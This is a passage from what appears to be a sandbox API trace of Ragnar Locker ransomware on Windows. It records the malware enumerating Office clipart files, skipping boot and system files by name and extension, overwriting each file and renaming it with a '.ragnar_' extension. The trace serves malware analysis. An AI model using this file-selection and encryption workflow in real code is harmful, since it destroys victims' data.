[0082.769] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.769] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.769] GetProcessHeap () returned 0x580000 [0082.769] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.769] CloseHandle (hObject=0xf4) returned 1 [0082.769] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" [0082.769] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.ragnar_FD7BD9FC" [0082.769] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.769] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a750c00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a750c00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x4e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00956_.WMF", cAlternateFileName="")) returned 1 [0082.769] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.770] lstrcpyW (in: lpString1=0x1eb62e, lpString2="IN00956_.WMF" | out: lpString1="IN00956_.WMF") returned="IN00956_.WMF" [0082.770] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned=".WMF" [0082.770] lstrcmpiW (lpString1="IN00956_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.770] lstrcmpiW (lpString1="IN00956_.WMF", lpString2="autorun.inf") returned 1 [0082.770] lstrcmpiW (lpString1="IN00956_.WMF", lpString2="boot.ini") returned 1 [0082.770] lstrcmpiW (lpString1="IN00956_.WMF", lpString2="bootfont.bin") returned 1 [0082.770] lstrcmpiW (lpString1="IN00956_.WMF", lpString2="bootsect.bak") returned 1 [0082.770] lstrcmpiW (lpString1="IN00956_.WMF", lpString2="bootmgr") returned 1 [0082.770] lstrcmpiW (lpString1="IN00956_.WMF", lpString2="bootmgr.efi") returned 1 [0082.770] lstrcmpiW (lpString1="IN00956_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.770] lstrcmpiW (lpString1="IN00956_.WMF", lpString2="desktop.ini") returned 1 [0082.770] lstrcmpiW (lpString1="IN00956_.WMF", lpString2="iconcache.db") returned 1 [0082.770] lstrcmpiW (lpString1="IN00956_.WMF", lpString2="ntldr") returned -1 [0082.770] lstrcmpiW (lpString1="IN00956_.WMF", lpString2="ntuser.dat") returned -1 [0082.770] lstrcmpiW (lpString1="IN00956_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.770] lstrcmpiW (lpString1="IN00956_.WMF", lpString2="ntuser.ini") returned -1 [0082.770] lstrcmpiW (lpString1="IN00956_.WMF", lpString2="thumbs.db") returned -1 [0082.770] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.770] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.770] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.770] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.770] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.770] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.770] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf")) returned 0x20 [0082.770] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.771] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1256) returned 1 [0082.771] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.771] GetProcessHeap () returned 0x580000 [0082.771] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.771] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.772] VirtualAlloc (lpAddress=0x0, dwSize=0x4e8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.772] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.772] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.772] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4e8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4e8, lpOverlapped=0x0) returned 1 [0082.773] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.773] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4e8, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.773] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4e8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4e8, lpOverlapped=0x0) returned 1 [0082.773] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4e8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.773] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.773] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.773] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.773] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.773] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.773] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.773] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.773] GetProcessHeap () returned 0x580000 [0082.773] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.773] CloseHandle (hObject=0xf4) returned 1 [0082.774] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" [0082.774] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.ragnar_FD7BD9FC" [0082.774] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.774] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20e4b00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20e4b00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00957_.WMF", cAlternateFileName="")) returned 1 [0082.774] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.774] lstrcpyW (in: lpString1=0x1eb62e, lpString2="IN00957_.WMF" | out: lpString1="IN00957_.WMF") returned="IN00957_.WMF" [0082.774] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned=".WMF" [0082.774] lstrcmpiW (lpString1="IN00957_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.774] lstrcmpiW (lpString1="IN00957_.WMF", lpString2="autorun.inf") returned 1 [0082.774] lstrcmpiW (lpString1="IN00957_.WMF", lpString2="boot.ini") returned 1 [0082.774] lstrcmpiW (lpString1="IN00957_.WMF", lpString2="bootfont.bin") returned 1 [0082.774] lstrcmpiW (lpString1="IN00957_.WMF", lpString2="bootsect.bak") returned 1 [0082.774] lstrcmpiW (lpString1="IN00957_.WMF", lpString2="bootmgr") returned 1 [0082.774] lstrcmpiW (lpString1="IN00957_.WMF", lpString2="bootmgr.efi") returned 1 [0082.774] lstrcmpiW (lpString1="IN00957_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.774] lstrcmpiW (lpString1="IN00957_.WMF", lpString2="desktop.ini") returned 1 [0082.775] lstrcmpiW (lpString1="IN00957_.WMF", lpString2="iconcache.db") returned 1 [0082.775] lstrcmpiW (lpString1="IN00957_.WMF", lpString2="ntldr") returned -1 [0082.775] lstrcmpiW (lpString1="IN00957_.WMF", lpString2="ntuser.dat") returned -1 [0082.775] lstrcmpiW (lpString1="IN00957_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.775] lstrcmpiW (lpString1="IN00957_.WMF", lpString2="ntuser.ini") returned -1 [0082.775] lstrcmpiW (lpString1="IN00957_.WMF", lpString2="thumbs.db") returned -1 [0082.775] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.775] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.775] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.775] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.775] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.775] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.775] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf")) returned 0x20 [0082.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.775] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2944) returned 1 [0082.775] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.775] GetProcessHeap () returned 0x580000 [0082.775] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.775] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.777] VirtualAlloc (lpAddress=0x0, dwSize=0xb80, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.777] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.777] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.777] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb80, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb80, lpOverlapped=0x0) returned 1 [0082.777] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.777] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb80, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.777] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb80, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb80, lpOverlapped=0x0) returned 1 [0082.777] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb80, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.778] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.778] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.778] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.778] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.778] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.778] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.778] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.778] GetProcessHeap () returned 0x580000 [0082.778] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.778] CloseHandle (hObject=0xf4) returned 1 [0082.778] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" [0082.778] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.ragnar_FD7BD9FC" [0082.778] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.779] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2178, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDST_01.MID", cAlternateFileName="")) returned 1 [0082.779] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.779] lstrcpyW (in: lpString1=0x1eb62e, lpString2="INDST_01.MID" | out: lpString1="INDST_01.MID") returned="INDST_01.MID" [0082.779] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned=".MID" [0082.779] lstrcmpiW (lpString1="INDST_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.779] lstrcmpiW (lpString1="INDST_01.MID", lpString2="autorun.inf") returned 1 [0082.779] lstrcmpiW (lpString1="INDST_01.MID", lpString2="boot.ini") returned 1 [0082.779] lstrcmpiW (lpString1="INDST_01.MID", lpString2="bootfont.bin") returned 1 [0082.779] lstrcmpiW (lpString1="INDST_01.MID", lpString2="bootsect.bak") returned 1 [0082.779] lstrcmpiW (lpString1="INDST_01.MID", lpString2="bootmgr") returned 1 [0082.779] lstrcmpiW (lpString1="INDST_01.MID", lpString2="bootmgr.efi") returned 1 [0082.779] lstrcmpiW (lpString1="INDST_01.MID", lpString2="bootmgfw.efi") returned 1 [0082.779] lstrcmpiW (lpString1="INDST_01.MID", lpString2="desktop.ini") returned 1 [0082.779] lstrcmpiW (lpString1="INDST_01.MID", lpString2="iconcache.db") returned 1 [0082.779] lstrcmpiW (lpString1="INDST_01.MID", lpString2="ntldr") returned -1 [0082.779] lstrcmpiW (lpString1="INDST_01.MID", lpString2="ntuser.dat") returned -1 [0082.779] lstrcmpiW (lpString1="INDST_01.MID", lpString2="ntuser.dat.log") returned -1 [0082.779] lstrcmpiW (lpString1="INDST_01.MID", lpString2="ntuser.ini") returned -1 [0082.779] lstrcmpiW (lpString1="INDST_01.MID", lpString2="thumbs.db") returned -1 [0082.779] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0082.779] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0082.779] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0082.779] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0082.779] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0082.780] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0082.780] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0082.780] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid")) returned 0x20 [0082.780] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.780] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8568) returned 1 [0082.780] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x216f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.780] GetProcessHeap () returned 0x580000 [0082.780] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.780] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.781] VirtualAlloc (lpAddress=0x0, dwSize=0x2178, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.782] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.782] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.782] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2178, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2178, lpOverlapped=0x0) returned 1 [0082.782] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.783] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2178, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.783] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2178, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2178, lpOverlapped=0x0) returned 1 [0082.783] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2178, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.783] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.783] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2178, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.783] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.783] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.783] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.783] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.783] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.783] GetProcessHeap () returned 0x580000 [0082.783] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.783] CloseHandle (hObject=0xf4) returned 1 [0082.784] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft 